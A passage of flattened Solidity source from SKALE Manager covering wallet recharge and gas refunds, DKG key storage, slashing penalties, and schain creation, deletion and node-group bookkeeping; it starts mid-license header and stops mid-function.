SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
import "./delegation/ValidatorService.sol";
import "./SchainsInternal.sol";
import "./Nodes.sol";
/**
* @title Wallets
* @dev Contract contains logic to perform automatic self-recharging ether for nodes
*/
contract Wallets is Permissions {
mapping (uint => uint) private _validatorWallets;
mapping (bytes32 => uint) private _schainWallets;
mapping (bytes32 => uint) private _schainDebts;
/**
* @dev Emitted when the validator wallet was funded
*/
event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId);
/**
* @dev Emitted when the schain wallet was funded
*/
event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainId);
/**
* @dev Emitted when the node received a refund from validator to its wallet
*/
event NodeRefundedByValidator(address node, uint validatorId, uint amount);
/**
* @dev Emitted when the node received a refund from schain to its wallet
*/
event NodeRefundedBySchain(address node, bytes32 schainId, uint amount);
/**
* @dev Is executed on a call to the contract with empty calldata.
* This is the function that is executed on plain Ether transfers,
* so validator or schain owner can use usual transfer ether to recharge wallet.
*/
receive() external payable {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32[] memory schainIds = schainsInternal.getSchainIdsByAddress(msg.sender);
if (schainIds.length == 1) {
rechargeSchainWallet(schainIds[0]);
} else {
uint validatorId = validatorService.getValidatorId(msg.sender);
rechargeValidatorWallet(validatorId);
}
}
/**
* @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds
* the node will receive the entire remaining amount in the validator's wallet.
* `validatorId` - validator that will reimburse desired transaction
* `spender` - address to send reimbursed funds
* `spentGas` - amount of spent gas that should be reimbursed to desired node
*
* Emits a {NodeRefundedByValidator} event.
*
* Requirements:
* - Given validator should exist
*/
function refundGasByValidator(
uint validatorId,
address payable spender,
uint spentGas
)
external
allowTwo("SkaleManager", "SkaleDKG")
{
require(validatorId != 0, "ValidatorId could not be zero");
uint amount = tx.gasprice * spentGas;
if (amount <= _validatorWallets[validatorId]) {
_validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount);
emit NodeRefundedByValidator(spender, validatorId, amount);
spender.transfer(amount);
} else {
uint wholeAmount = _validatorWallets[validatorId];
// solhint-disable-next-line reentrancy
delete _validatorWallets[validatorId];
emit NodeRefundedByValidator(spender, validatorId, wholeAmount);
spender.transfer(wholeAmount);
}
}
/**
* @dev Returns the amount owed to the owner of the chain by the validator,
* if the validator does not have enough funds, then everything
* that the validator has will be returned to the owner of the chain.
*/
function refundGasByValidatorToSchain(uint validatorId, bytes32 schainId) external allow("SkaleDKG") {
uint debtAmount = _schainDebts[schainId];
uint validatorWallet = _validatorWallets[validatorId];
if (debtAmount <= validatorWallet) {
_validatorWallets[validatorId] = validatorWallet.sub(debtAmount);
} else {
debtAmount = validatorWallet;
delete _validatorWallets[validatorId];
}
_schainWallets[schainId] = _schainWallets[schainId].add(debtAmount);
delete _schainDebts[schainId];
}
/**
* @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds
* than transaction will be reverted.
* `schainId` - schain that will reimburse desired transaction
* `spender` - address to send reimbursed funds
* `spentGas` - amount of spent gas that should be reimbursed to desired node
* `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator
*
* Emits a {NodeRefundedBySchain} event.
*
* Requirements:
* - Given schain should exist
* - Schain wallet should have enough funds
*/
function refundGasBySchain(
bytes32 schainId,
address payable spender,
uint spentGas,
bool isDebt
)
external
allowTwo("SkaleDKG", "MessageProxyForMainnet")
{
uint amount = tx.gasprice * spentGas;
if (isDebt) {
amount += (_schainDebts[schainId] == 0 ? 21000 : 6000) * tx.gasprice;
_schainDebts[schainId] = _schainDebts[schainId].add(amount);
}
require(schainId != bytes32(0), "SchainId cannot be null");
require(amount <= _schainWallets[schainId], "Schain wallet has not enough funds");
_schainWallets[schainId] = _schainWallets[schainId].sub(amount);
emit NodeRefundedBySchain(spender, schainId, amount);
spender.transfer(amount);
}
/**
* @dev Withdraws money from schain wallet. Possible to execute only after deleting schain.
* `schainOwner` - address of schain owner that will receive rest of the schain balance
* `schainId` - schain wallet from which money is withdrawn
*
* Requirements:
* - Executable only after initing delete schain
*/
function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainId) external allow("Schains") {
uint amount = _schainWallets[schainId];
delete _schainWallets[schainId];
schainOwner.transfer(amount);
}
/**
* @dev Withdraws money from vaildator wallet.
* `amount` - the amount of money in wei
*
* Requirements:
* - Validator must have sufficient withdrawal amount
*/
function withdrawFundsFromValidatorWallet(uint amount) external {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
uint validatorId = validatorService.getValidatorId(msg.sender);
require(amount <= _validatorWallets[validatorId], "Balance is too low");
_validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount);
msg.sender.transfer(amount);
}
function getSchainBalance(bytes32 schainId) external view returns (uint) {
return _schainWallets[schainId];
}
function getValidatorBalance(uint validatorId) external view returns (uint) {
return _validatorWallets[validatorId];
}
/**
* @dev Recharge the validator wallet by id.
* `validatorId` - id of existing validator.
*
* Emits a {ValidatorWalletRecharged} event.
*
* Requirements:
* - Given validator must exist
*/
function rechargeValidatorWallet(uint validatorId) public payable {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
require(validatorService.validatorExists(validatorId), "Validator does not exists");
_validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value);
emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId);
}
/**
* @dev Recharge the schain wallet by schainId (hash of schain name).
* `schainId` - id of existing schain.
*
* Emits a {SchainWalletRecharged} event.
*
* Requirements:
* - Given schain must be created
*/
function rechargeSchainWallet(bytes32 schainId) public payable {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
require(schainsInternal.isSchainActive(schainId), "Schain should be active for recharging");
_schainWallets[schainId] = _schainWallets[schainId].add(msg.value);
emit SchainWalletRecharged(msg.sender, msg.value, schainId);
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
KeyStorage.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Decryption.sol";
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./thirdparty/ECDH.sol";
import "./utils/Precompiled.sol";
import "./utils/FieldOperations.sol";
contract KeyStorage is Permissions {
using Fp2Operations for Fp2Operations.Fp2Point;
using G2Operations for G2Operations.G2Point;
struct BroadcastedData {
KeyShare[] secretKeyContribution;
G2Operations.G2Point[] verificationVector;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
// Unused variable!!
mapping(bytes32 => mapping(uint => BroadcastedData)) private _data;
//
mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress;
mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys;
// Unused variable
mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys;
//
mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys;
function deleteKey(bytes32 schainId) external allow("SkaleDKG") {
_previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]);
delete _schainsPublicKeys[schainId];
delete _data[schainId][0];
delete _schainsNodesPublicKeys[schainId];
}
function initPublicKeyInProgress(bytes32 schainId) external allow("SkaleDKG") {
_publicKeysInProgress[schainId] = G2Operations.getG2Zero();
}
function adding(bytes32 schainId, G2Operations.G2Point memory value) external allow("SkaleDKG") {
require(value.isG2(), "Incorrect g2 point");
_publicKeysInProgress[schainId] = value.addG2(_publicKeysInProgress[schainId]);
}
function finalizePublicKey(bytes32 schainId) external allow("SkaleDKG") {
if (!_isSchainsPublicKeyZero(schainId)) {
_previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]);
}
_schainsPublicKeys[schainId] = _publicKeysInProgress[schainId];
delete _publicKeysInProgress[schainId];
}
function getCommonPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) {
return _schainsPublicKeys[schainId];
}
function getPreviousPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) {
uint length = _previousSchainsPublicKeys[schainId].length;
if (length == 0) {
return G2Operations.getG2Zero();
}
return _previousSchainsPublicKeys[schainId][length - 1];
}
function getAllPreviousPublicKeys(bytes32 schainId) external view returns (G2Operations.G2Point[] memory) {
return _previousSchainsPublicKeys[schainId];
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
function _isSchainsPublicKeyZero(bytes32 schainId) private view returns (bool) {
return _schainsPublicKeys[schainId].x.a == 0 &&
_schainsPublicKeys[schainId].x.b == 0 &&
_schainsPublicKeys[schainId].y.a == 0 &&
_schainsPublicKeys[schainId].y.b == 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SlashingTable.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
/**
* @title Slashing Table
* @dev This contract manages slashing conditions and penalties.
*/
contract SlashingTable is Permissions {
mapping (uint => uint) private _penalties;
/**
* @dev Allows the Owner to set a slashing penalty in SKL tokens for a
* given offense.
*/
function setPenalty(string calldata offense, uint penalty) external onlyOwner {
_penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty;
}
/**
* @dev Returns the penalty in SKL tokens for a given offense.
*/
function getPenalty(string calldata offense) external view returns (uint) {
uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))];
return penalty;
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Schains.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./ConstantsHolder.sol";
import "./KeyStorage.sol";
import "./SkaleVerifier.sol";
import "./utils/FieldOperations.sol";
import "./NodeRotation.sol";
import "./interfaces/ISkaleDKG.sol";
import "./Wallets.sol";
/**
* @title Schains
* @dev Contains functions to manage Schains such as Schain creation,
* deletion, and rotation.
*/
contract Schains is Permissions {
struct SchainParameters {
uint lifetime;
uint8 typeOfSchain;
uint16 nonce;
string name;
}
bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE");
/**
* @dev Emitted when an schain is created.
*/
event SchainCreated(
string name,
address owner,
uint partOfNode,
uint lifetime,
uint numberOfNodes,
uint deposit,
uint16 nonce,
bytes32 schainId,
uint time,
uint gasSpend
);
/**
* @dev Emitted when an schain is deleted.
*/
event SchainDeleted(
address owner,
string name,
bytes32 indexed schainId
);
/**
* @dev Emitted when a node in an schain is rotated.
*/
event NodeRotated(
bytes32 schainId,
uint oldNode,
uint newNode
);
/**
* @dev Emitted when a node is added to an schain.
*/
event NodeAdded(
bytes32 schainId,
uint newNode
);
/**
* @dev Emitted when a group of nodes is created for an schain.
*/
event SchainNodes(
string name,
bytes32 schainId,
uint[] nodesInGroup,
uint time,
uint gasSpend
);
/**
* @dev Allows SkaleManager contract to create an Schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type is valid.
* - There is sufficient deposit to create type of schain.
*/
function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") {
SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data);
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp();
uint minSchainLifetime = constantsHolder.minimalSchainLifetime();
require(now >= schainCreationTimeStamp, "It is not a time for creating Schain");
require(
schainParameters.lifetime >= minSchainLifetime,
"Minimal schain lifetime should be satisfied"
);
require(
getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit,
"Not enough money to create Schain");
_addSchain(from, deposit, schainParameters);
}
/**
* @dev Allows the foundation to create an Schain without tokens.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - sender is granted with SCHAIN_CREATOR_ROLE
* - Schain type is valid.
*/
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name,
address schainOwner
)
external
payable
{
require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain");
SchainParameters memory schainParameters = SchainParameters({
lifetime: lifetime,
typeOfSchain: typeOfSchain,
nonce: nonce,
name: name
});
address _schainOwner;
if (schainOwner != address(0)) {
_schainOwner = schainOwner;
} else {
_schainOwner = msg.sender;
}
_addSchain(_schainOwner, 0, schainParameters);
bytes32 schainId = keccak256(abi.encodePacked(name));
Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainId);
}
/**
* @dev Allows SkaleManager to remove an schain from the network.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Executed by schain owner.
*/
function deleteSchain(address from, string calldata name) external allow("SkaleManager") {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainId = keccak256(abi.encodePacked(name));
require(
schainsInternal.isOwnerAddress(from, schainId),
"Message sender is not the owner of the Schain"
);
_deleteSchain(name, schainsInternal);
}
/**
* @dev Allows SkaleManager to delete any Schain.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Schain exists.
*/
function deleteSchainByRoot(string calldata name) external allow("SkaleManager") {
_deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal")));
}
/**
* @dev Allows SkaleManager contract to restart schain creation by forming a
* new schain group. Executed when DKG procedure fails and becomes stuck.
*
* Emits a {NodeAdded} event.
*
* Requirements:
*
* - Previous DKG procedure must have failed.
* - DKG failure got stuck because there were no free nodes to rotate in.
* - A free node must be released in the network.
*/
function restartSchainCreation(string calldata name) external allow("SkaleManager") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainId = keccak256(abi.encodePacked(name));
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(!skaleDKG.isLastDKGSuccessful(schainId), "DKG success");
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes for new group formation");
uint newNodeIndex = nodeRotation.selectNodeToGroup(schainId);
skaleDKG.openChannel(schainId);
emit NodeAdded(schainId, newNodeIndex);
}
/**
* @dev addSpace - return occupied space to Node
* nodeIndex - index of Node at common array of Nodes
* partOfNode - divisor of given type of Schain
*/
function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
nodes.addSpaceToNode(nodeIndex, partOfNode);
}
/**
* @dev Checks whether schain group signature is valid.
*/
function verifySchainSignature(
uint signatureA,
uint signatureB,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
string calldata schainName
)
external
view
returns (bool)
{
SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier"));
G2Operations.G2Point memory publicKey = KeyStorage(
contractManager.getContract("KeyStorage")
).getCommonPublicKey(
keccak256(abi.encodePacked(schainName))
);
return skaleVerifier.verify(
Fp2Operations.Fp2Point({
a: signatureA,
b: signatureB
}),
hash, counter,
hashA, hashB,
publicKey
);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Returns the current price in SKL tokens for given Schain type and lifetime.
*/
function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
uint nodeDeposit = constantsHolder.NODE_DEPOSIT();
uint numberOfNodes;
uint8 divisor;
(divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain);
if (divisor == 0) {
return 1e18;
} else {
uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2)));
uint down = uint(
uint(constantsHolder.SMALL_DIVISOR())
.mul(uint(constantsHolder.SECONDS_TO_YEAR()))
.div(divisor)
);
return up.div(down);
}
}
/**
* @dev Initializes an schain in the SchainsInternal contract.
*
* Requirements:
*
* - Schain name is not already in use.
*/
function _initializeSchainInSchainsInternal(
string memory name,
address from,
uint deposit,
uint lifetime,
SchainsInternal schainsInternal
)
private
{
require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available");
// initialize Schain
schainsInternal.initializeSchain(name, from, lifetime, deposit);
schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from);
}
/**
* @dev Converts data from bytes to normal schain parameters of lifetime,
* type, nonce, and name.
*/
function _fallbackSchainParametersDataConverter(bytes memory data)
private
pure
returns (SchainParameters memory schainParameters)
{
(schainParameters.lifetime,
schainParameters.typeOfSchain,
schainParameters.nonce,
schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string));
}
/**
* @dev Allows creation of node group for Schain.
*
* Emits an {SchainNodes} event.
*/
function _createGroupForSchain(
string memory schainName,
bytes32 schainId,
uint numberOfNodes,
uint8 partOfNode,
SchainsInternal schainsInternal
)
private
{
uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainId, numberOfNodes, partOfNode);
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainId);
emit SchainNodes(
schainName,
schainId,
nodesInGroup,
block.timestamp,
gasleft());
}
/**
* @dev Creates an schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type must be valid.
*/
function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
//initialize Schain
_initializeSchainInSchainsInternal(
schainParameters.name,
from,
deposit,
schainParameters.lifetime,
schainsInternal
);
// create a group for Schain
uint numberOfNodes;
uint8 partOfNode;
(partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain);
_createGroupForSchain(
schainParameters.name,
keccak256(abi.encodePacked(schainParameters.name)),
numberOfNodes,
partOfNode,
schainsInternal
);
emit SchainCreated(
schainParameters.name,
from,
partOfNode,
schainParameters.lifetime,
numberOfNodes,
deposit,
schainParameters.nonce,
keccak256(abi.encodePacked(schainParameters.name)),
block.timestamp,
gasleft());
}
function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainId = keccak256(abi.encodePacked(name));
require(schainsInternal.isSchainExist(schainId), "Schain does not exist");
uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId);
uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId);
for (uint i = 0; i < nodesInGroup.length; i++) {
uint schainIndex = schainsInternal.findSchainAtSchainsForNode(
nodesInGroup[i],
schainId
);
if (schainsInternal.checkHoleForSchain(schainId, i)) {
continue;
}
require(
schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]),
"Some Node does not contain given Schain");
schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId);
schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]);
this.addSpace(nodesInGroup[i], partOfNode);
}
schainsInternal.deleteGroup(schainId);
address from = schainsInternal.getSchainOwner(schainId);
schainsInternal.removeSchain(schainId, from);
schainsInternal.removeHolesForSchain(schainId);
nodeRotation.removeRotation(schainId);
Wallets(payable(contractManager.getContract("Wallets"))).withdrawFundsFromSchainWallet(payable(from), schainId);
emit SchainDeleted(from, name, schainId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SchainsInternal.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./interfaces/ISkaleDKG.sol";
import "./utils/Random.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol";
/**
* @title SchainsInternal
* @dev Contract contains all functionality logic to internally manage Schains.
*/
contract SchainsInternal is Permissions {
using Random for Random.RandomGenerator;
using EnumerableSet for EnumerableSet.UintSet;
struct Schain {
string name;
address owner;
uint indexInOwnerList;
uint8 partOfNode;
uint lifetime;
uint startDate;
uint startBlock;
uint deposit;
uint64 index;
}
struct SchainType {
uint8 partOfNode;
uint numberOfNodes;
}
// mapping which contain all schains
mapping (bytes32 => Schain) public schains;
mapping (bytes32 => bool) public isSchainActive;
mapping (bytes32 => uint[]) public schainsGroups;
mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups;
// mapping shows schains by owner's address
mapping (address => bytes32[]) public schainIndexes;
// mapping shows schains which Node composed in
mapping (uint => bytes32[]) public schainsForNodes;
mapping (uint => uint[]) public holesForNodes;
mapping (bytes32 => uint[]) public holesForSchains;
// array which contain all schains
bytes32[] public schainsAtSystem;
uint64 public numberOfSchains;
// total resources that schains occupied
uint public sumOfSchainsResources;
mapping (bytes32 => bool) public usedSchainNames;
mapping (uint => SchainType) public schainTypes;
uint public numberOfSchainTypes;
// schain hash => node index => index of place
// index of place is a number from 1 to max number of slots on node(128)
mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode;
mapping (uint => bytes32[]) private _nodeToLockedSchains;
mapping (bytes32 => uint[]) private _schainToExceptionNodes;
EnumerableSet.UintSet private _keysOfSchainTypes;
/**
* @dev Allows Schain contract to initialize an schain.
*/
function initializeSchain(
string calldata name,
address from,
uint lifetime,
uint deposit) external allow("Schains")
{
bytes32 schainId = keccak256(abi.encodePacked(name));
schains[schainId].name = name;
schains[schainId].owner = from;
schains[schainId].startDate = block.timestamp;
schains[schainId].startBlock = block.number;
schains[schainId].lifetime = lifetime;
schains[schainId].deposit = deposit;
schains[schainId].index = numberOfSchains;
isSchainActive[schainId] = true;
numberOfSchains++;
schainsAtSystem.push(schainId);
usedSchainNames[schainId] = true;
}
/**
* @dev Allows Schain contract to create a node group for an schain.
*/
function createGroupForSchain(
bytes32 schainId,
uint numberOfNodes,
uint8 partOfNode
)
external
allow("Schains")
returns (uint[] memory)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
schains[schainId].partOfNode = partOfNode;
if (partOfNode > 0) {
sumOfSchainsResources = sumOfSchainsResources.add(
numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode)
);
}
return _generateGroup(schainId, numberOfNodes);
}
/**
* @dev Allows Schains contract to set index in owner list.
*/
function setSchainIndex(bytes32 schainId, address from) external allow("Schains") {
schains[schainId].indexInOwnerList = schainIndexes[from].length;
schainIndexes[from].push(schainId);
}
/**
* @dev Allows Schains contract to change the Schain lifetime through
* an additional SKL token deposit.
*/
function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("Schains") {
schains[schainId].deposit = schains[schainId].deposit.add(deposit);
schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime);
}
/**
* @dev Allows Schains contract to remove an schain from the network.
* Generally schains are not removed from the system; instead they are
* simply allowed to expire.
*/
function removeSchain(bytes32 schainId, address from) external allow("Schains") {
isSchainActive[schainId] = false;
uint length = schainIndexes[from].length;
uint index = schains[schainId].indexInOwnerList;
if (index != length.sub(1)) {
bytes32 lastSchainId = schainIndexes[from][length.sub(1)];
schains[lastSchainId].indexInOwnerList = index;
schainIndexes[from][index] = lastSchainId;
}
schainIndexes[from].pop();
// TODO:
// optimize
for (uint i = 0; i + 1 < schainsAtSystem.length; i++) {
if (schainsAtSystem[i] == schainId) {
schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)];
break;
}
}
schainsAtSystem.pop();
delete schains[schainId];
numberOfSchains--;
}
/**
* @dev Allows Schains and SkaleDKG contracts to remove a node from an
* schain for node rotation or DKG failure.
*/
function removeNodeFromSchain(
uint nodeIndex,
bytes32 schainHash
)
external
allowThree("NodeRotation", "SkaleDKG", "Schains")
{
uint indexOfNode = _findNode(schainHash, nodeIndex);
uint indexOfLastNode = schainsGroups[schainHash].length.sub(1);
if (indexOfNode == indexOfLastNode) {
schainsGroups[schainHash].pop();
} else {
delete schainsGroups[schainHash][indexOfNode];
if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) {
uint hole = holesForSchains[schainHash][0];
holesForSchains[schainHash][0] = indexOfNode;
holesForSchains[schainHash].push(hole);
} else {
holesForSchains[schainHash].push(indexOfNode);
}
}
uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash);
removeSchainForNode(nodeIndex, schainIndexOnNode);
delete placeOfSchainOnNode[schainHash][nodeIndex];
}
/**
* @dev Allows Schains contract to delete a group of schains
*/
function deleteGroup(bytes32 schainId) external allow("Schains") {
// delete channel
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
delete schainsGroups[schainId];
skaleDKG.deleteChannel(schainId);
}
/**
* @dev Allows Schain and NodeRotation contracts to set a Node like
* exception for a given schain and nodeIndex.
*/
function setException(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") {
_setException(schainId, nodeIndex);
}
/**
* @dev Allows Schains and NodeRotation contracts to add node to an schain
* group.
*/
function setNodeInGroup(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") {
if (holesForSchains[schainId].length == 0) {
schainsGroups[schainId].push(nodeIndex);
} else {
schainsGroups[schainId][holesForSchains[schainId][0]] = nodeIndex;
uint min = uint(-1);
uint index = 0;
for (uint i = 1; i < holesForSchains[schainId].length; i++) {
if (min > holesForSchains[schainId][i]) {
min = holesForSchains[schainId][i];
index = i;
}
}
if (min == uint(-1)) {
delete holesForSchains[schainId];
} else {
holesForSchains[schainId][0] = min;
holesForSchains[schainId][index] =
holesForSchains[schainId][holesForSchains[schainId].length - 1];
holesForSchains[schainId].pop();
}
}
}
/**
* @dev Allows Schains contract to remove holes for schains
*/
function removeHolesForSchain(bytes32 schainHash) external allow("Schains") {
delete holesForSchains[schainHash];
}
/**
* @dev Allows Admin to add schain type
*/
function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlyAdmin {
require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added");
schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode;
schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes;
numberOfSchainTypes++;
}
/**
* @dev Allows Admin to remove schain type
*/
function removeSchainType(uint typeOfSchain) external onlyAdmin {
require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed");
delete schainTypes[typeOfSchain].partOfNode;
delete schainTypes[typeOfSchain].numberOfNodes;
}
/**
* @dev Allows Admin to set number of schain types
*/
function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlyAdmin {
numberOfSchainTypes = newNumberOfSchainTypes;
}
/**
* @dev Allows Admin to move schain to placeOfSchainOnNode map
*/
function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyAdmin {
for (uint i = 0; i < schainsGroups[schainHash].length; i++) {
uint nodeIndex = schainsGroups[schainHash][i];
for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) {
if (schainsForNodes[nodeIndex][j] == schainHash) {
